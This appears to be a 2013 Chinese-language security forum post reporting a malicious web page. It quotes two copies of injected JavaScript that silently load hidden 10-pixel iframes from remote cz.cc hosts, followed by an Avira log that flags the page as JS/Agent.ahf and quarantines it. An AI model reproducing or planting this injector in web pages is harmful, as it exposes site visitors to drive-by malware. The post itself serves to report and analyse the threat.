http://www.recetascafe.com/cgi-sys/suspendedpage.cgi

显示全部楼层 · 发表于 2013-10-25 06:29:59

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://dianagar.cz.cc/in.php?a=QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://dianagar.cz.cc/in.php?a=QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://new-friha.cz.cc/QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://new-friha.cz.cc/QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

Avira

2013/10/25 上午 06:25 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 816
   目錄數： 0
   惡意程式碼數： 0
   警告數： 0

2013/10/25 上午 06:25 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\suspendedpage[1].htm'
   包含病毒或有害的程式 'JS/Agent.ahf' [virus]
   已採取動作：
   檔案會移動至 '5a593c54.qua' 名稱底下的隔離區目錄。.

2013/10/25 上午 06:25 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 817
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/25 上午 06:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：傳輸至掃描程式

2013/10/25 上午 06:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：拒絕存取

2013/10/25 上午 06:24 [Web Protection] 已停用 Web Protection
   服務已停用

2013/10/25 上午 06:23 [Web Protection] 封鎖的網頁
   URL (http://www.recetascafe.com/cgi-sys/suspendedpage.cgi) 的評估結果為惡意程式碼，而遭到封鎖。

fs is

[已鉴定] http://www.recetascafe.com/cgi-sys/suspendedpage.cgi